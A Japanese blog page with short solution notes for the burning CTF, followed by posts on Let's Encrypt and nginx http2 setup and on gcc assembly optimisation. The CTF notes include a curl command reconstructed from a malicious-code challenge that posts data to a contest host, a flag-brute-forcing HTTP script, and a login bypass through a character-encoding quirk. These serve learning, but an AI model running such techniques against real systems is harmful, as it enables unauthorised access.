眠気

戯言とメモ

burningCTFのwriteup的なもの

和風(WAF〜)CTFというとてもナイスなデザインのCTFであった

全体的に初心者向けであったので、メチャンコ初心者な自分にも楽しめた

稚拙ながら、とりあえず解けた問題のwriteupというか感想というか なものを書いてみました。

101 image level 1

つなげるだけ

111 ワットイズディス?

漢字2文字 + カタカナ(甲骨文字

112 cole nanee?

メッチャ忍にしか見えなかった

113 Lines and Boxes

画像検索するとアルファベットの漢字化みたいなのが出てきたのでNARUHODOとなった

115 毎日使う

「気」を入れてダメだったから戸惑って諦めてしばらく放置してしまった

氣合が足りない

121 壱萬回

objdump -d すると、

 0000000000400920 <showFlag>:
  400920:   48 83 ec 08             sub    $0x8,%rsp
  400924:   bf 46 00 00 00          mov    $0x46,%edi
  400929:   e8 a2 fc ff ff          callq  4005d0 <putchar@plt>
  40092e:   bf 4c 00 00 00          mov    $0x4c,%edi
  400933:   e8 98 fc ff ff          callq  4005d0 <putchar@plt>
  400938:   bf 41 00 00 00          mov    $0x41,%edi

    ...

 のところで難しい計算などはせず、putcharしかしていないみたいな感じであったので、movのところの16進数を取り出して

 echo "464C41475F3563333361316238383630653437646138363437313465303432653133663165" | xxd -r -p

みたいな感じであった

123 Unity遊戯如何様

f:id:lailaiskyn:20160209010501p:plain

この部分のilをいじってコインが増える数を増やすとFlagが出てきた

3つコインをとればFlagが出るので、2個ずつ増やすようにしたら3を越えて出なかった気がする

たまたま友人がこういうものを書いてくれていたおかげでなんとかなった 感謝🙏

qiita.com

mac用にビルドされていたけれど、

macでうまくilがいじれなかったのでmac向けの問題だったのかよくわからない感じであった


131 image level 5

md5 シーザーと思ったけれど並べ替えだった

132 Ninjya Crypto

忍者文字的な

133 Decrypt RSA

rsaググると解き方が見つかった。気がする

142 Ninja no Aikotoba

encryptはプログラム書こうかと思ったけど手作業で出来た

難しくて長くかかったけどfirst solveして嬉しかった

161 ftp is not secure.

wiresharkで眺めてFTP Dataのサイズが1500くらいのやつをfollow tcp streamするとbase64っぽいのがあるのでデコード

strings 161-problem.pcap | grep ==

162 ベーシック

パケットを再現したら解けてしまったので深く考えていなかったけど、しばらくしてから:に気付いた

164 Japanese kids are knowing

苦しゅうないと書かれているのでmasscanとかでスキャン

開いてるポートにncで繋ぐと

```<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.```

塩基配列か何かかと思ってすごい時間かかったけど音符であった

165 Malicious Code

windowsのプロパティだと全部読めないのでstringsとかで読んで実行するといい感じになるので、それを^取ってアレして実行すると結局こんな感じになる。

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "myaddr=myIP" -k https://210.146.64.38:60444/p.php`

myIPに65行目のIP(10.0.2.222)入れてPOST

173 Akiko-chan

画像検索して出てきたurlを解答

181 search_duplicate_character_string

とても頭が悪いコードを書いてしばらく待って出てきたやつを使って手作業で適当にやると10分もかからなかったので良かろうもんであった

 a = File.open("dup.txt")
str = ""
a.each do |s|
 str += s
end
spl = str.scan(/.{1,#{5}}/)
counts = []
spl.each_with_index{|a,i|
    cn = spl.count(a)
    print  i,"/",spl.length," ",cn,"\n"
    counts.push([i,cn])
    }
moredupsample = []
counts.each{|a|
    moredupsample.push(a[0]) if a[1]!=1
}
moredupstr = []
moredupsample.each{|m|
  next if spl[m] == nil
  # print str.scan(spl[m])," ",spl[m],"\n" if spl[m] != nil
  s = str[str.index(spl[m]),6] if spl[m] != nil
  moredupstr.push(str.scan(s)) if str.scan(s).length != 1
}
fl = true
c = 10
while fl do
moredupstr2 = []
moredupstr.each{|m|
  s = str[str.index(m[0]),c+=1]
  moredupstr2.push(str.scan(s)) if str.scan(s).length != 1
}
fl = false if  moredupstr2.length <2
end
p moredupstr2

雑魚

182 JavaScript Puzzle

nodejsで頭悪そうな総当りを書こうとしていたけれど、めもりなくなって止まったりアレだった

こんな感じで読んでいくとそれっぽい感じになる

0b1001100 = 76 = 0x4C = L
(0O000101) = 65 = 0x41 = A
(101)     = 101 = 0x65 = e

難しかった

[(0O000101),(0b1001100),(101),0x52,0x54]["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]()

183 Count Number Of Flag's SubString!

これまた頭悪そうコードを書いたのだった

require 'net/http'
require 'uri'
url = URI.parse('http://210.146.64.36:30840')
alpha = [*"a".."z"]
alpha.push("_")
str = "flag={"
grs = []
loop do |time|
  flg = true
  cou = 1
  alpha.each_with_index do |a,i|
      next unless flg
      strs = str + a
    res = Net::HTTP.start(url.host, url.port) {|http|
      http.get('/count_number_of_flag_substring/?str='+  strs +'&count=count')
    }
    cnt = res.body.match(/are.*</).to_s.gsub("are","").gsub("<","").to_i
    puts strs
    if cnt > 0
      flg = false
      str += a
    end
  end
  sleep 0.1
end

184 解凍?

頭悪そうなコードを書いてひたすら解凍したけど途中で拡張子が変わったりすると止まったりしてその都度手作業だったのは阿呆であった

191 GIFアニメ生成サイト

画像をアップロードすると出てくる生成ボタン

<input type="button" value="生成" id="cb" class="btn btn-primary" data-id="????">

の data-id= を1にするとCTFあるあるが出てくる

writeup見ただけだと簡単なものだと恐らく思ってしまうけれど、試行錯誤して実際に解けると感動するものであったのだなあ となった

193 箱庭XSS

stringsでアレなjsを見つけて実行しただけであった

アレな感じもしたけれど、他の人も同じ解き方してる人がいて安心

194 YamaToDo

Web問に慣れていなかったので、これもxssすれば良いのかとか色々試行錯誤してたけど何も出来ず、

コードを読むとあからさまなsjis対策がされていたので、文字コードの問題なのかと思う

euc-jpかと思い、適当にここの文字列を貼り付けて適当なSSIDcurlでPOSTしてみる

curl 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/?ie=ujis' --data 'user_id=yamato&password=◆□■△▲▽▼※〒→←↑↓〓�����������∈∋⊆⊇⊂⊃∪∩�������action=login' -H 'Cookie: PHPSESSID=testtest'

このSSIDでログイン出来たので、ujisをちょっと調べてみてもよくわからんけどフラグもあるしよかろうとなった

それをmageさんに聞いてみても?となる

帰って色々削って試してみると

curl  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' -d "user_id=yamato" -d password=aaaa
curl -s  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' | nkf | grep "☆(ゝω・)v "

Ⱦ角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}  

(・ω・)??

ということは...となり

これを

f:id:lailaiskyn:20160208235449p:plain


こうすると

f:id:lailaiskyn:20160208235511p:plain

出来る

f:id:lailaiskyn:20160208235941p:plain

何故

コードを見返すと

f:id:lailaiskyn:20160209003344p:plain

f:id:lailaiskyn:20160209003423p:plain

break 2; ジャナイ

コードちゃんと読めばメッチャ簡単な問題だったので大変たまげた

雑魚ゆえお許し下され…となった

breakコワイ

197 箱庭XSS 2

1と同じ

201/202 将棋詰め

詰将棋勉強しつつ頑張った

203/204 将棋詰め3,4

web上に自動でやってくれるのがあったのでカンニングに任せてしまった…

  • 解説された問題も惜しいところまで行ってたのがわりとあったのは、持ち前の諦めスキルが災いしたせいであったと思う

  • 色んな話を聞いてもっと精進しなくては…という感じがした

  • 初心者を脱したい

  • 一瞬だけ3位になったので成仏しかけた

adent

書こうと思ってた日にびっくりするほど寝てしまったので適当に書きました。

Let's Encrypt使った話

この記事は OIC ITCreate Club Advent Calendar 2015 16日目(12/16)の記事です。

Let's Encryptにメール送って返ってきたのをしばらく放置していたのですが、

いつの間にかpublicBETAになってて、

やってみると10分くらいで出来たので、

通信を暗号化したいなどの需要には答えてくれるのではないかと思い、書きました。

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto

これだけでapt-getとか勝手に走って、その通りに答えれば証明書が得られるのですが、

それだと記事としてもアレなので、http2にするためのソレなどを書こうかなと。


nginxに1.9.5からhttp2が取り込まれたということで、nginxでhttp2を使用するには1.9.5以上が必要なのですが、

気がつけば1.9.9がリリースされてたりするので、好きな感じのバージョンをインストールして頂ければなと。

ソースからビルドする場合はnginx: downloadなどから好みのバージョンをインストールし、ビルドして下さい。

aptの場合は/etc/apt/sources.list

deb http://nginx.org/packages/mainline/debian/ squeeze nginx
deb-src http://nginx.org/packages/mainline/debian/ squeeze nginx

とか書いてアレすれば良いんじゃないかなと思います。

デフォルトだと

./letsencrypt-auto certonly --webroot -d ドメイン名 --webroot-path /usr/share/nginx/html

的な感じにしておけば、/etc/letsencrypt/live/ドメイン名/

cert.pem  
chain.pem  
fullchain.pem  
privkey.pem

が作成されるので、

/etc/nginx/nginx.conf

server {
         listen 443 ssl http2;
         server_name  ドメイン名;
        ssl_certificate      /etc/letsencrypt/live/ドメイン名/fullchain.pem;
        ssl_certificate_key  /etc/letsencrypt/live/ドメイン名/privkey.pem;
}

みたいな設定でnginxを再起動すれば一応出来るんじゃないかなと思います。

apacheの場合はデフォルトでプラグインが用意されてるので--apacheなどを付ければカンタンだと思います。

また、80か443しか受け付けてくれないので、サーバを止めずに認証ファイルを受け取る場合はwebrootプラグインを使います。

ちなみに無料のためか証明書の有効期間は90日しかないので、90日内に再度証明書を発行しないといけません。

cronでやれば良いので、こういう感じでやれば良いと思います。

おわり

advnt

暇つぶしアセンブラ

今日も誰も書かないので、適当に。

もう半分くらい自分の記事になってきた…

あとだんだん書くネタが無くなってきたこの頃。


この記事は OIC ITCreate Club Advent Calendar 2015 12日目(12/12)の記事です。

セキュリティキャンプ・キャラバンで拝聴した中島さんのアセンブリ読経がとても良かったので、最近の暇つぶしはもっぱらアセンブリ読経になっている。

gccの最適化とかさせてみる遊び。(mainのみ

$ cat code.c 
#include <stdio.h>

int main(){
    int n=10;
    n++;
    printf("%d",n);
    return 0;
}

適当なCを書く。

とりあえず最適化を無効にしてビルド。

$ gcc -mpreferred-stack-boundary=2 code.c -O0 -o ex
$ objdump -d -M intel --no-show-raw-insn ex

0804841d <main>:
 804841d:       push   ebp
 804841e:       mov    ebp,esp
 8048420:       sub    esp,0xc
 8048423:       mov    DWORD PTR [ebp-0x4],0xa
 804842a:       add    DWORD PTR [ebp-0x4],0x1
 804842e:       mov    eax,DWORD PTR [ebp-0x4]
 8048431:       mov    DWORD PTR [esp+0x4],eax
 8048435:       mov    DWORD PTR [esp],0x80484e0
 804843c:       call   80482f0 <printf@plt>
 8048441:       mov    eax,0x0
 8048446:       leave  
 8048447:       ret 

上のコードの通り、[ebp-0x4]に0xa(10)をmovして、それに0x1をaddしている。

最適化オプションを指定してみる。

$ gcc -mpreferred-stack-boundary=2 code.c -O1  -o ex1
$ objdump -d -M intel --no-show-raw-insn ex1

0804843d <main>:
 804843d:       sub    esp,0xc
 8048440:       mov    DWORD PTR [esp+0x8],0xb
 8048448:       mov    DWORD PTR [esp+0x4],0x8048500
 8048450:       mov    DWORD PTR [esp],0x1
 8048457:       call   8048330 <__printf_chk@plt>
 804845c:       mov    eax,0x0
 8048461:       add    esp,0xc
 8048464:       ret 
 

[esp+0x8]に直接0xb(11)をmovしている。

最初の2行とか、eaxに[ebp-0x4]を入れて戻してみたいな処理が削られている。

サイズの最適化オプションを指定してみる。-Os

$ gcc -mpreferred-stack-boundary=2 code.c -Os  -o exs
$ objdump -d -M intel --no-show-raw-insn exs

08048340 <main>:
 8048340:       push   ebp
 8048341:       mov    ebp,esp
 8048343:       push   0xb
 8048345:       push   0x80484e0
 804834a:       push   0x1
 804834c:       call   8048330 <__printf_chk@plt>
 8048351:       xor    eax,eax
 8048353:       leave  
 8048354:       ret 

mov処理がpushに変わっている。最後のmovもxorに変わってたりしてて面白い。

適当にコードを書いて、ビルドして、印刷して持ち歩くことによって暇つぶしになる。

オプション

最適化オプション


  • もっとCTFのバイナリ問題が解けるようになりたい。
  • Base64読みたかった。